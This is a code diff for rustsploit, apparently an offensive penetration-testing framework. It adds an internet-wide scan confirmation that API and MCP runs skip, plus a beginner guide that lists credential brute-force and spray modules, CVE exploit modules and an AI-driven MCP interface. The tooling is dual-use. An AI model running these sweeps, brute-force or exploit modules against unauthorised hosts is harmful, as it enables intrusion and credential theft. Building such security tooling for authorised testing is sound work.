/// `cap` is the host ceiling for this sweep: `Some(n)` (random, or sequential
|
||||
/// with `max_random_hosts` set) or `None` (an unbounded sequential sweep).
|
||||
async fn full_sweep_advisory_and_confirm(
|
||||
module: &Arc<dyn Module>,
|
||||
limits: &SchedulerLimits,
|
||||
cap: Option<usize>,
|
||||
sweep_label: &str,
|
||||
) -> Result<bool> {
|
||||
// Effective service port for the per-host precheck. `limits.precheck_port`
|
||||
// is already resolved to `setg port` if set, else the module's own
|
||||
// `default_port` (see run_with_limits_shared) — exactly the "default to the
|
||||
// module's port" behaviour. Surface where it came from so a stale global
|
||||
// `setg port` that differs from the module default is visible.
|
||||
let module_default = module.info().default_port;
|
||||
let global_port = match crate::tenant::resolve().global_options().try_get("port") {
|
||||
Some(v) => match v.trim().parse::<u16>() {
|
||||
Ok(p) => Some(p),
|
||||
Err(e) => {
|
||||
// Surface, don't swallow: a bad `setg port` would otherwise be
|
||||
// silently ignored and the operator would never know why the
|
||||
// precheck used a different port.
|
||||
crate::meprintln!(
|
||||
"[!] Ignoring invalid `setg port` value '{}': {e}",
|
||||
v.trim()
|
||||
);
|
||||
None
|
||||
}
|
||||
},
|
||||
None => None,
|
||||
};
|
||||
let port_line = match (limits.precheck_port, global_port, module_default) {
|
||||
(Some(p), Some(_), Some(d)) if p != d => {
|
||||
format!("{p} (from `setg port`; this module's default is {d})")
|
||||
}
|
||||
(Some(p), Some(_), _) => format!("{p} (from `setg port`)"),
|
||||
(Some(p), None, _) => format!("{p} (module default)"),
|
||||
(None, _, _) => {
|
||||
"none — this module declares no default port, so every host is probed".to_string()
|
||||
}
|
||||
};
|
||||
let host_cap = match cap {
|
||||
Some(n) => format!("{n} hosts"),
|
||||
None => "unbounded (entire public IPv4 space)".to_string(),
|
||||
};
|
||||
let excl = crate::exclusions::shared().networks().len();
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] {sweep_label}: '{}' will probe public hosts across the whole Internet.",
|
||||
module.info().name
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
crate::mprintln!("{}", " Settings for this sweep (override with `setg <key> <value>`):".yellow());
|
||||
crate::mprintln!(" {:<17}{}", "port:", port_line);
|
||||
crate::mprintln!(" {:<17}{} {}", "concurrency:", limits.concurrency, "(setg concurrency <n>)".dimmed());
|
||||
crate::mprintln!(" {:<17}{} {}", "host cap:", host_cap, "(setg max_random_hosts <n>)".dimmed());
|
||||
crate::mprintln!(" {:<17}{}s {}", "per-host timeout:", limits.timeout_secs, "(setg timeout <n>)".dimmed());
|
||||
crate::mprintln!(
|
||||
" {:<17}{} networks excluded (RFC1918/bogons/...) {}",
|
||||
"exclusions:",
|
||||
excl,
|
||||
"(setg exclusions ...)".dimmed()
|
||||
);
|
||||
|
||||
// Only a human at an interactive console is asked to confirm. API/MCP runs
|
||||
// (api_mode) and piped/scripted CLI runs (stdin not a TTY) proceed — they
|
||||
// opted in by passing the target and there is no keyboard to answer.
|
||||
let cfg = crate::config::get_module_config();
|
||||
let interactive_console = !cfg.api_mode && std::io::stdin().is_terminal();
|
||||
if !interactive_console {
|
||||
return Ok(true);
|
||||
}
|
||||
let proceed = crate::utils::prompt_yes_no("Proceed with the full-internet sweep?", false).await?;
|
||||
if !proceed {
|
||||
crate::mprintln!("{}", "[*] Full-internet sweep aborted by operator.".yellow());
|
||||
}
|
||||
Ok(proceed)
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// HELPERS
|
||||
// ============================================================
|
||||
|
||||
+84
-4
@@ -30,7 +30,7 @@ const MAX_PROMPT_INPUT_LENGTH: usize = 1024;
|
||||
|
||||
/// Shell commands available for tab completion.
|
||||
const SHELL_COMMANDS: &[&str] = &[
|
||||
"help", "modules", "find", "use", "set target", "set subnet",
|
||||
"help", "tommy", "modules", "find", "use", "set target", "set subnet",
|
||||
"set port", "set source_port", "set concurrency", "set timeout",
|
||||
"set threads", "set wordlist", "set verbose",
|
||||
"show_target", "clear_target", "run", "back", "exit", "quit",
|
||||
@@ -411,6 +411,11 @@ async fn execute_single_command(ctx: &mut ShellContext, cmd_input: &str) -> bool
|
||||
render_help_topic(&rest);
|
||||
}
|
||||
}
|
||||
"tommy" => {
|
||||
if let Err(e) = crate::tommy::run_guide() {
|
||||
println!("{} {}", "tommy:".red(), e);
|
||||
}
|
||||
}
|
||||
"modules" => utils::list_all_modules(),
|
||||
"find" => {
|
||||
if rest.is_empty() {
|
||||
@@ -1214,6 +1219,7 @@ fn split_command(input: &str) -> Option<(String, String)> {
|
||||
pub fn resolve_command(cmd: &str) -> String {
|
||||
match cmd {
|
||||
"?" | "help" | "h" => "help",
|
||||
"tommy" | "guide" | "walkthrough" => "tommy",
|
||||
"modules" | "list" | "ls" | "m" => "modules",
|
||||
"find" | "search" | "f" | "f1" => "find",
|
||||
|
||||
@@ -1282,6 +1288,10 @@ async fn display_all_options(ctx: &ShellContext) {
|
||||
("verbose", "Verbose output (y/n)", ""),
|
||||
("honeypot_detection", "Skip honeypot hosts (y/n)", ""),
|
||||
("prescan", "Pre-scan tool (auto/masscan/zmap/none)", ""),
|
||||
("scan_order", "Full-sweep order (random/sequential)", ""),
|
||||
("exclusions", "Extra networks to skip in mass scans (CIDR,CIDR,...)", ""),
|
||||
("target_rps", "Per-target rate limit (req/s, 0 = unlimited)", ""),
|
||||
("module_rps", "Global module rate limit (req/s, 0 = unlimited)", ""),
|
||||
];
|
||||
|
||||
let mut displayed = std::collections::HashSet::new();
|
||||
@@ -1393,6 +1403,63 @@ async fn handle_set_target(raw_value: &str) {
|
||||
println!("{}", format!("[!] Failed to set target: {}", e).red());
|
||||
}
|
||||
}
|
||||
// `0.0.0.0` is an alias for the full-internet sweep `0.0.0.0/0`
|
||||
// (== `random`). Flag it so the operator isn't surprised that a
|
||||
// bare `0.0.0.0` now sweeps every public host; the scan itself asks
|
||||
// for an explicit confirmation before fanning out.
|
||||
//
|
||||
// When the operator switches to a full sweep we auto-bump
|
||||
// `max_random_hosts` to the actual count of reachable public
|
||||
// IPv4 addresses (after the reserved-range filter). Without this,
|
||||
// the scheduler default of 10_000 would silently cap a "scan
|
||||
// everything" target at 10k hosts.
|
||||
//
|
||||
// We only do this when `max_random_hosts` is currently UNSET — if
|
||||
// the operator already chose a value we leave it alone.
|
||||
if matches!(final_target.as_str(), "0.0.0.0" | "0.0.0.0/0" | "random") {
|
||||
println!(
|
||||
"{}",
|
||||
" ⚠ Full-internet sweep (every public host). You'll be asked to confirm at run time."
|
||||
.yellow()
|
||||
);
|
||||
|
||||
if crate::global_options::GLOBAL_OPTIONS
|
||||
.get("max_random_hosts")
|
||||
.await
|
||||
.is_none()
|
||||
{
|
||||
let total = crate::utils::cyclic::total_public_ipv4_count();
|
||||
if crate::global_options::GLOBAL_OPTIONS
|
||||
.set("max_random_hosts", &total.to_string())
|
||||
.await
|
||||
{
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" [+] max_random_hosts auto-set to {} (every reachable public IPv4 — \
|
||||
RFC1918/multicast/127.0.0.0/8/.0/.255 excluded). \
|
||||
`setg max_random_hosts <n>` to lower it.",
|
||||
total
|
||||
)
|
||||
.green()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" [!] could not persist max_random_hosts={} — falling back to scheduler default",
|
||||
total
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
" [*] max_random_hosts already set — leaving operator value alone.".dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(reason) => {
|
||||
println!("{}", format!("[!] {}", reason).yellow());
|
||||
@@ -1442,6 +1509,7 @@ fn render_help() {
|
||||
println!(" {}", "Navigation & Discovery".bold().underline());
|
||||
println!();
|
||||
println!(" {:<20} {:<24} Show this screen", "help".green(), "h | ?".dimmed());
|
||||
println!(" {:<20} {:<24} Friendly walk-through guide (a/d to page)", "tommy".green(), "guide".dimmed());
|
||||
println!(" {:<20} {:<24} List all available modules", "modules".green(), "ls | m".dimmed());
|
||||
println!(" {:<20} {:<24} Search modules by keyword", "find <kw>".green(), "f1 <kw>".dimmed());
|
||||
println!(" {:<20} {:<24} Select a module to load", "use <path>".green(), "u <path>".dimmed());
|
||||
@@ -1535,7 +1603,7 @@ fn render_help() {
|
||||
MAX_COMMAND_CHAIN_LENGTH);
|
||||
println!("{}", "└──────────────────────────────────────────────────────────────────────────┘".dimmed());
|
||||
println!();
|
||||
println!(" {} {}", "Topics:".bold(), "use info run set setg target mass-scan jobs creds hosts services loot workspace resource spool export".dimmed());
|
||||
println!(" {} {}", "Topics:".bold(), "tommy use info run set setg target mass-scan jobs creds hosts services loot workspace resource spool export".dimmed());
|
||||
println!();
|
||||
}
|
||||
|
||||
@@ -1546,6 +1614,7 @@ fn render_help_topic(topic: &str) {
|
||||
|
||||
let canonical: &str = match key {
|
||||
"?" | "help" | "h" => "help",
|
||||
"guide" | "walkthrough" => "tommy",
|
||||
"u" => "use",
|
||||
"i" => "info",
|
||||
"ls" | "list" | "m" => "modules",
|
||||
@@ -1931,7 +2000,18 @@ fn render_help_topic(topic: &str) {
|
||||
("help mass-scan", "How mass-scan mode works"),
|
||||
("? setg", "Alias"),
|
||||
],
|
||||
&["mass-scan", "setg", "run"],
|
||||
&["mass-scan", "setg", "run", "tommy"],
|
||||
),
|
||||
"tommy" => man_page(
|
||||
"tommy",
|
||||
"Friendly interactive walk-through guide for new users. Pages step you through every major rustsploit feature with examples you can copy and try.",
|
||||
&["tommy", "guide", "walkthrough"],
|
||||
"Navigate with single keys: `d` (or Enter) for the next page, `a` for the previous page, `q` to quit. Type a page number to jump directly to it. Type `h` inside the guide for the full key list. The guide is read-only — running it never changes any settings.",
|
||||
&[
|
||||
("tommy", "Start at page 1"),
|
||||
("guide", "Alias"),
|
||||
],
|
||||
&["help", "modules", "use", "run"],
|
||||
),
|
||||
_ => {
|
||||
println!();
|
||||
@@ -1939,7 +2019,7 @@ fn render_help_topic(topic: &str) {
|
||||
println!();
|
||||
println!("{} {}",
|
||||
"Available topics:".bold(),
|
||||
"use info modules find target subnet show_target clear_target run setg unsetg show_options mass-scan jobs creds hosts services notes loot workspace resource makerc spool export back exit help".dimmed());
|
||||
"tommy use info modules find target subnet show_target clear_target run setg unsetg show_options mass-scan jobs creds hosts services notes loot workspace resource makerc spool export back exit help".dimmed());
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
+728
@@ -0,0 +1,728 @@
|
||||
//! `tommy` — Friendly Interactive Walk-through Guide
|
||||
//! ===================================================
|
||||
//!
|
||||
//! A new-user guide to every major rustsploit feature. Pages are flipped
|
||||
//! with the same keys the user already knows from a casual menu — `d`
|
||||
//! (next), `a` (previous), `q` (quit). A short hint is printed on every
|
||||
//! page so the user does not need to remember.
|
||||
//!
|
||||
//! The pages are static `&'static str` blocks so the guide costs nothing
|
||||
//! at start-up and can be embedded directly in the binary.
|
||||
//!
|
||||
//! Hooked into the interactive shell via the `tommy` command.
|
||||
|
||||
use std::io::{self, BufRead, Write};
|
||||
|
||||
use colored::*;
|
||||
|
||||
/// One page in the walk-through.
|
||||
struct Page {
|
||||
title: &'static str,
|
||||
body: &'static str,
|
||||
}
|
||||
|
||||
/// All pages in display order. Edit this list to extend the guide.
|
||||
const PAGES: &[Page] = &[
|
||||
Page {
|
||||
title: "Welcome",
|
||||
body: WELCOME,
|
||||
},
|
||||
Page {
|
||||
title: "1. The interactive shell",
|
||||
body: SHELL,
|
||||
},
|
||||
Page {
|
||||
title: "2. Finding the right module",
|
||||
body: FIND,
|
||||
},
|
||||
Page {
|
||||
title: "3. Setting a target",
|
||||
body: TARGET,
|
||||
},
|
||||
Page {
|
||||
title: "4. Running a module",
|
||||
body: RUN,
|
||||
},
|
||||
Page {
|
||||
title: "5. Global options (setg)",
|
||||
body: SETG,
|
||||
},
|
||||
Page {
|
||||
title: "6. Scanners",
|
||||
body: SCANNERS,
|
||||
},
|
||||
Page {
|
||||
title: "7. Credential modules",
|
||||
body: CREDS,
|
||||
},
|
||||
Page {
|
||||
title: "8. Exploit modules",
|
||||
body: EXPLOITS,
|
||||
},
|
||||
Page {
|
||||
title: "9. OSINT modules",
|
||||
body: OSINT,
|
||||
},
|
||||
Page {
|
||||
title: "10. Plugins",
|
||||
body: PLUGINS,
|
||||
},
|
||||
Page {
|
||||
title: "11. Workspace, hosts, services, notes",
|
||||
body: WORKSPACE,
|
||||
},
|
||||
Page {
|
||||
title: "12. Credential store",
|
||||
body: CRED_STORE,
|
||||
},
|
||||
Page {
|
||||
title: "13. Loot & evidence",
|
||||
body: LOOT,
|
||||
},
|
||||
Page {
|
||||
title: "14. Background jobs",
|
||||
body: JOBS,
|
||||
},
|
||||
Page {
|
||||
title: "15. Resource scripts (makerc)",
|
||||
body: RESOURCE,
|
||||
},
|
||||
Page {
|
||||
title: "16. Spool & export",
|
||||
body: SPOOL,
|
||||
},
|
||||
Page {
|
||||
title: "17. The API + MCP server",
|
||||
body: API,
|
||||
},
|
||||
Page {
|
||||
title: "18. Building & tests",
|
||||
body: BUILD,
|
||||
},
|
||||
Page {
|
||||
title: "19. Writing your own module",
|
||||
body: WRITE,
|
||||
},
|
||||
Page {
|
||||
title: "20. Good-luck",
|
||||
body: GOODLUCK,
|
||||
},
|
||||
];
|
||||
|
||||
/// Entry point — call from the shell when the user types `tommy`.
|
||||
///
|
||||
/// Blocks the calling thread on `stdin` for paging input. Returns `Ok(())`
|
||||
/// on a clean exit; an error from stdin propagates back to the caller so
|
||||
/// the shell can decide what to do.
|
||||
pub fn run_guide() -> io::Result<()> {
|
||||
let stdin = io::stdin();
|
||||
let mut input = stdin.lock();
|
||||
let mut buf = String::new();
|
||||
let mut idx: usize = 0;
|
||||
let total = PAGES.len();
|
||||
|
||||
loop {
|
||||
clear_and_render(idx, total)?;
|
||||
buf.clear();
|
||||
let n = input.read_line(&mut buf)?;
|
||||
if n == 0 {
|
||||
// EOF — treat as quit so piped input doesn't loop forever
|
||||
println!();
|
||||
println!("{} {}", "[*]".cyan(), "End of input — exiting tommy.".dimmed());
|
||||
return Ok(());
|
||||
}
|
||||
let key = buf.trim().to_ascii_lowercase();
|
||||
match key.as_str() {
|
||||
"d" | "n" | "next" | "" => {
|
||||
if idx + 1 < total {
|
||||
idx += 1;
|
||||
} else {
|
||||
println!("{}", "Already on the last page — press 'a' to go back or 'q' to quit.".yellow());
|
||||
pause(&mut input, &mut buf)?;
|
||||
}
|
||||
}
|
||||
"a" | "p" | "prev" | "back" => {
|
||||
if idx > 0 {
|
||||
idx -= 1;
|
||||
} else {
|
||||
println!("{}", "Already on the first page — press 'd' to move forward or 'q' to quit.".yellow());
|
||||
pause(&mut input, &mut buf)?;
|
||||
}
|
||||
}
|
||||
"q" | "quit" | "exit" => {
|
||||
println!();
|
||||
println!(
|
||||
"{} {}",
|
||||
"[+]".green(),
|
||||
"You're ready to go — run `help` any time for the full reference.".bold()
|
||||
);
|
||||
println!();
|
||||
return Ok(());
|
||||
}
|
||||
"g" | "start" | "first" => idx = 0,
|
||||
"e" | "end" | "last" => idx = total - 1,
|
||||
"h" | "?" | "help" => {
|
||||
show_help_overlay();
|
||||
pause(&mut input, &mut buf)?;
|
||||
}
|
||||
other => {
|
||||
// Allow `5` / `12` to jump directly to a page number
|
||||
if let Ok(page_num) = other.parse::<usize>() {
|
||||
if page_num >= 1 && page_num <= total {
|
||||
idx = page_num - 1;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
println!(
|
||||
"{} unknown key '{}'. press 'h' for keys.",
|
||||
"[-]".yellow(),
|
||||
other
|
||||
);
|
||||
pause(&mut input, &mut buf)?;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn clear_and_render(idx: usize, total: usize) -> io::Result<()> {
|
||||
let mut out = io::stdout().lock();
|
||||
// ANSI clear-screen + home cursor. Works in xterm-compatible terminals;
|
||||
// if the user's terminal swallows ANSI we still scroll cleanly because
|
||||
// we re-emit the full frame.
|
||||
write!(out, "\x1b[2J\x1b[H")?;
|
||||
out.flush()?;
|
||||
|
||||
let page = &PAGES[idx];
|
||||
print_banner();
|
||||
println!();
|
||||
println!(
|
||||
" {} {} {}{} {}",
|
||||
"Page".bold(),
|
||||
format!("{}", idx + 1).cyan().bold(),
|
||||
"of ".dimmed(),
|
||||
format!("{}", total).cyan(),
|
||||
format!("— {}", page.title).bold().underline()
|
||||
);
|
||||
println!();
|
||||
println!("{}", page.body);
|
||||
println!();
|
||||
println!("{}", " ╭─────────────────────────────────────────────────────────────────╮".dimmed());
|
||||
println!(
|
||||
" {} {} prev {} next {} quit {} keys {} jump to page",
|
||||
"│".dimmed(),
|
||||
"[a]".cyan().bold(),
|
||||
"[d]".cyan().bold(),
|
||||
"[q]".cyan().bold(),
|
||||
"[h]".cyan().bold(),
|
||||
"[1-N]".cyan().bold(),
|
||||
);
|
||||
println!("{}", " ╰─────────────────────────────────────────────────────────────────╯".dimmed());
|
||||
print!(" > ");
|
||||
io::stdout().flush()?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", BANNER.cyan());
|
||||
}
|
||||
|
||||
fn show_help_overlay() {
|
||||
println!();
|
||||
println!("{}", " ┌─ Navigation keys ─────────────────────────────────────────────┐".bold());
|
||||
println!(
|
||||
" │ {} next page {} previous page │",
|
||||
"d / n / Enter".cyan().bold(),
|
||||
"a / p".cyan().bold()
|
||||
);
|
||||
println!(
|
||||
" │ {} {} jump to start / end │",
|
||||
"q / quit".cyan().bold(),
|
||||
"g / e".cyan().bold()
|
||||
);
|
||||
println!(
|
||||
" │ {} skip directly to page N (e.g. 7) │",
|
||||
"<number>".cyan().bold()
|
||||
);
|
||||
println!("{}", " └──────────────────────────────────────────────────────────────┘".bold());
|
||||
}
|
||||
|
||||
fn pause<R: BufRead>(input: &mut R, buf: &mut String) -> io::Result<()> {
|
||||
print!(" {} ", "press Enter to continue...".dimmed());
|
||||
io::stdout().flush()?;
|
||||
buf.clear();
|
||||
input.read_line(buf)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// ASCII art + page content
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const BANNER: &str = r#"
|
||||
_________________________________________________________________
|
||||
| .---. .---. .--. _____ ___ ___ _ _ __ __ ____ |
|
||||
| \ \/ / / /\ | |_ _/ _ \| \/ | | \/ \/ / _ \ |
|
||||
| \ / / /__\ | | || | | | |\/| | |\ /\ /| | | ||
|
||||
| / /\ \ / ______| | || |_| | | | | | |\/|\/|| |_| ||
|
||||
| /__/ \__\ /__/ \ |_| \___/|_| |_| |_| |_|\___/ |
|
||||
| tommy — the friendly rustsploit walk-through |
|
||||
|_______________________________________________________________|
|
||||
"#;
|
||||
|
||||
const WELCOME: &str = r#"
|
||||
Hi! I'm tommy. I'll walk you through every feature of rustsploit so
|
||||
you can move from "just installed it" to "running real engagements"
|
||||
in a few minutes.
|
||||
|
||||
.--------.
|
||||
| >_< | <- tommy
|
||||
|--------|
|
||||
|________|
|
||||
|
||||
I'll keep things short:
|
||||
|
||||
* one screen per topic
|
||||
* a command you can copy & try at the bottom of each page
|
||||
* no surprises — every step is a read-only command unless I say so
|
||||
|
||||
Press {d} (or {Enter}) to start. Press {a} to step back, {q} to quit.
|
||||
|
||||
If you ever forget the keys, press {h}.
|
||||
"#;
|
||||
|
||||
const SHELL: &str = r#"
|
||||
The interactive shell is what you see right now. Launch it any time
|
||||
with:
|
||||
|
||||
$ rustsploit
|
||||
|
||||
You can also run modules from the command line directly (great for
|
||||
scripting) — see `rustsploit --help`.
|
||||
|
||||
Useful shortcuts inside the shell:
|
||||
|
||||
help show the full command reference
|
||||
help <topic> man-page for a single command (e.g. `help run`)
|
||||
? same as help
|
||||
h same as help
|
||||
q quit the shell
|
||||
Ctrl-C cancel the current prompt
|
||||
Ctrl-D send EOF (quits)
|
||||
Tab tab-completion for commands and module paths
|
||||
Up / Down scroll through command history
|
||||
|
||||
Try this:
|
||||
|
||||
help run
|
||||
"#;
|
||||
|
||||
const FIND: &str = r#"
|
||||
There are 800+ modules. To browse:
|
||||
|
||||
modules list every loaded module
|
||||
find <keyword> fuzzy-match the registry
|
||||
|
||||
Examples:
|
||||
|
||||
find synology -> scanners/synology_dsm_disclosure
|
||||
find mikrotik -> exploits/routers/mikrotik/...
|
||||
find tomcat -> exploits/frameworks/apache_tomcat/...
|
||||
find ssh -> creds/ssh_bruteforce, exploits/ssh/...
|
||||
|
||||
Once you've picked one, look at its metadata:
|
||||
|
||||
info exploits/webapps/plex_unclaimed_takeover
|
||||
|
||||
This shows the CVE references, author, rank, and default port.
|
||||
|
||||
Try this:
|
||||
|
||||
find plex
|
||||
"#;
|
||||
|
||||
const TARGET: &str = r#"
|
||||
Targets can be a single IP, a hostname, a CIDR, or a file.
|
||||
|
||||
set target 192.168.1.10
|
||||
set target example.com
|
||||
set target 10.0.0.0/24
|
||||
set target file:/path/to/ips.txt
|
||||
set target 10.0.0.1,10.0.0.2,10.0.0.3 (comma list)
|
||||
|
||||
To check what's set:
|
||||
|
||||
show_target (alias: st)
|
||||
|
||||
To clear it:
|
||||
|
||||
clear_target (alias: ct)
|
||||
|
||||
You can also set a target port that applies to every module:
|
||||
|
||||
set port 8080
|
||||
|
||||
Random / sweep targets are also supported. See `help mass-scan` for
|
||||
the full story.
|
||||
|
||||
Try this:
|
||||
|
||||
set target 127.0.0.1
|
||||
show_target
|
||||
"#;
|
||||
|
||||
const RUN: &str = r#"
|
||||
Three steps to launch a module:
|
||||
|
||||
1. use <module_path> (pick what to run)
|
||||
2. show options (see what knobs exist)
|
||||
3. run (go!)
|
||||
|
||||
Example:
|
||||
|
||||
use scanners/port_scanner
|
||||
show options
|
||||
set port 1-1024
|
||||
run
|
||||
|
||||
Module-specific options are prompted at run-time, so you don't have
|
||||
to memorise them. Just hit Enter to accept the default.
|
||||
|
||||
Aliases:
|
||||
|
||||
u <path> == use <path>
|
||||
go / exec / ra == run
|
||||
back clear the selected module
|
||||
"#;
|
||||
|
||||
const SETG: &str = r#"
|
||||
`setg` is the Metasploit-style "datastore" — values that persist
|
||||
across modules:
|
||||
|
||||
setg port 443
|
||||
setg concurrency 64
|
||||
setg timeout 30
|
||||
setg wordlist /usr/share/wordlists/rockyou.txt
|
||||
setg honeypot_detection y
|
||||
|
||||
These apply to every module that reads the same key.
|
||||
|
||||
View / clear:
|
||||
|
||||
show options (alias: so)
|
||||
unsetg port (alias: ug)
|
||||
|
||||
Common useful keys:
|
||||
|
||||
port default target port
|
||||
source_port outgoing bind port
|
||||
concurrency parallel scans for mass targets
|
||||
timeout per-module timeout (seconds)
|
||||
wordlist default brute-force wordlist
|
||||
prescan masscan / zmap / none
|
||||
verbose y/n
|
||||
"#;
|
||||
|
||||
const SCANNERS: &str = r#"
|
||||
Scanners are read-only. Use them first.
|
||||
|
||||
Highlights:
|
||||
|
||||
scanners/port_scanner
|
||||
scanners/service_scanner
|
||||
scanners/ping_sweep
|
||||
scanners/dir_brute
|
||||
scanners/synology_dsm_disclosure <- new!
|
||||
scanners/cobaltstrike_beacon_scanner <- new!
|
||||
scanners/ssl_scanner
|
||||
scanners/snmp_scanner
|
||||
scanners/honeypot_scanner
|
||||
scanners/cors_reflection_scanner
|
||||
scanners/security_headers_scanner
|
||||
|
||||
Pipe one into the next with `&`:
|
||||
|
||||
set target 10.0.0.0/24 & use scanners/port_scanner & run
|
||||
& use scanners/service_scanner & run
|
||||
|
||||
The scheduler routes every finding into the workspace, so the next
|
||||
step (exploits / creds) inherits the hosts you discovered.
|
||||
"#;
|
||||
|
||||
const CREDS: &str = r#"
|
||||
Cred modules brute-force / spray credentials.
|
||||
|
||||
creds/ftp_bruteforce
|
||||
creds/ssh_bruteforce
|
||||
creds/telnet_bruteforce
|
||||
creds/mysql_bruteforce
|
||||
creds/postgres_bruteforce
|
||||
creds/snmp_bruteforce
|
||||
creds/vnc_bruteforce
|
||||
creds/rdp_bruteforce
|
||||
creds/imap_bruteforce / pop3 / smtp
|
||||
creds/redis_bruteforce
|
||||
creds/m365_activesync_spray
|
||||
creds/h3c_oem_kvm_bruteforce
|
||||
creds/ssh_spray (one password, many hosts)
|
||||
creds/telnet_hose (parallel telnet drag-net)
|
||||
|
||||
Wordlists default to common SecLists paths but can be set:
|
||||
|
||||
setg wordlist /usr/share/wordlists/rockyou.txt
|
||||
|
||||
Every successful credential lands in the credential store (see the
|
||||
next page).
|
||||
"#;
|
||||
|
||||
const EXPLOITS: &str = r#"
|
||||
Exploit modules try to deliver a specific CVE. They are organised by
|
||||
target type:
|
||||
|
||||
exploits/webapps/... web application CVEs
|
||||
exploits/frameworks/... tomcat, jenkins, php, mongodb, ...
|
||||
exploits/network_infra/... cisco, citrix, fortinet, vmware, ...
|
||||
exploits/routers/... dlink, netgear, mikrotik, tplink, ...
|
||||
exploits/cameras/... hikvision, abus, acti, ...
|
||||
exploits/vnc/... libvnc / tigervnc / tightvnc / x11vnc
|
||||
exploits/honeytrap/... Cowrie, Dionaea, HoneyTrap, SNARE
|
||||
exploits/ssh/... CVE-2024-6387 regreSSHion, ...
|
||||
exploits/voip/... FreePBX, MagnusBilling, ...
|
||||
exploits/payloadgens/... payload generators
|
||||
exploits/windows/... Windows-only CVEs
|
||||
exploits/bluetooth/... BLE (feature-gated)
|
||||
|
||||
New in your tree:
|
||||
|
||||
exploits/routers/mikrotik/routeros_jailbreak_cve_2023_30799
|
||||
exploits/webapps/doverfsp_fusion_authbypass
|
||||
exploits/webapps/plex_unclaimed_takeover
|
||||
exploits/webapps/redeye_c2_unauth_project
|
||||
exploits/frameworks/metasploit_pro/setup_state_bypass
|
||||
|
||||
Each module ranks itself — `Excellent`, `Great`, `Normal`, ... — so
|
||||
you can prioritise.
|
||||
"#;
|
||||
|
||||
const OSINT: &str = r#"
|
||||
OSINT modules do passive intelligence work. No traffic to the
|
||||
target.
|
||||
|
||||
osint/cert_transparency crt.sh subdomain enumeration
|
||||
osint/cname_chain follow CNAME redirects
|
||||
osint/jwks_inspector grab and analyse JWKS keys
|
||||
|
||||
Run them when you want to map an attack surface before sending a
|
||||
single packet to the target itself.
|
||||
"#;
|
||||
|
||||
const PLUGINS: &str = r#"
|
||||
Plugins are third-party modules. Drop a `.rs` file into
|
||||
`src/modules/plugins/` and rebuild; the build-time registry picks
|
||||
it up automatically (no manual mod.rs editing required for the
|
||||
plugin discovery path).
|
||||
|
||||
See:
|
||||
|
||||
sample_plugin.rs in src/modules/plugins/
|
||||
|
||||
for a 30-line template. Most operators keep client-specific or
|
||||
non-public modules here.
|
||||
"#;
|
||||
|
||||
const WORKSPACE: &str = r#"
|
||||
The workspace tracks hosts, services, and notes for the current
|
||||
engagement:
|
||||
|
||||
workspace show / list workspaces
|
||||
workspace acme-pentest create or switch
|
||||
hosts list tracked hosts
|
||||
hosts add 10.0.0.5
|
||||
hosts delete 10.0.0.5
|
||||
services list tracked services
|
||||
services add 10.0.0.5 22 ssh
|
||||
notes 10.0.0.5 "uses fail2ban"
|
||||
|
||||
Modules that find new hosts automatically record them — you don't
|
||||
have to add things by hand most of the time.
|
||||
|
||||
Try this:
|
||||
|
||||
hosts
|
||||
"#;
|
||||
|
||||
const CRED_STORE: &str = r#"
|
||||
When a creds module hits a working login, it lands in the cred
|
||||
store:
|
||||
|
||||
creds list all creds
|
||||
creds search admin filter by service/user
|
||||
creds add add one interactively
|
||||
creds delete <id>
|
||||
creds validate <id> re-verify the cred works
|
||||
creds invalidate <id> mark as stale
|
||||
creds clear drop everything (asks first)
|
||||
|
||||
Persistence is JSON on disk, scoped to the current workspace.
|
||||
"#;
|
||||
|
||||
const LOOT: &str = r#"
|
||||
Loot is everything else: dumps, screenshots, downloaded files,
|
||||
evidence.
|
||||
|
||||
loot list all loot
|
||||
loot add <path> add a file as loot
|
||||
loot search <keyword>
|
||||
loot delete <id>
|
||||
loot clear
|
||||
|
||||
Each loot entry stores: file path, source module, host, type, and
|
||||
a free-form description. Great for end-of-engagement reporting.
|
||||
"#;
|
||||
|
||||
const JOBS: &str = r#"
|
||||
Run a module in the background:
|
||||
|
||||
run -j
|
||||
|
||||
Manage the queue:
|
||||
|
||||
jobs list background jobs
|
||||
jobs -k <id> kill a job
|
||||
jobs clean forget finished jobs
|
||||
|
||||
Use this when you've started a long mass scan and want to keep
|
||||
probing other things in the foreground.
|
||||
"#;
|
||||
|
||||
const RESOURCE: &str = r#"
|
||||
Save your commands and replay them later:
|
||||
|
||||
makerc /tmp/today.rc writes the current history
|
||||
|
||||
Replay any file:
|
||||
|
||||
resource /tmp/today.rc
|
||||
|
||||
This makes great runbooks for repeating an engagement. Pair it with
|
||||
`setg` for portable defaults.
|
||||
"#;
|
||||
|
||||
const SPOOL: &str = r#"
|
||||
Mirror all console output to a file:
|
||||
|
||||
spool /tmp/console.log start logging
|
||||
spool off stop logging
|
||||
|
||||
At the end of the engagement, dump everything to a report:
|
||||
|
||||
export json /tmp/engagement.json
|
||||
export csv /tmp/findings.csv
|
||||
export summary /tmp/report.txt
|
||||
"#;
|
||||
|
||||
const API: &str = r#"
|
||||
rustsploit also ships:
|
||||
|
||||
* a REST + WebSocket API with post-quantum encrypted transport
|
||||
see `docs/API-Server.md`
|
||||
|
||||
* an MCP (Model Context Protocol) server — 38 tools exposed
|
||||
over stdio for AI-assisted pentesting
|
||||
see `docs/Module-Catalog.md` + `src/mcp/`
|
||||
|
||||
The API gives full CRUD over hosts, services, credentials, loot,
|
||||
and jobs. The MCP server is how you drive rustsploit from Claude
|
||||
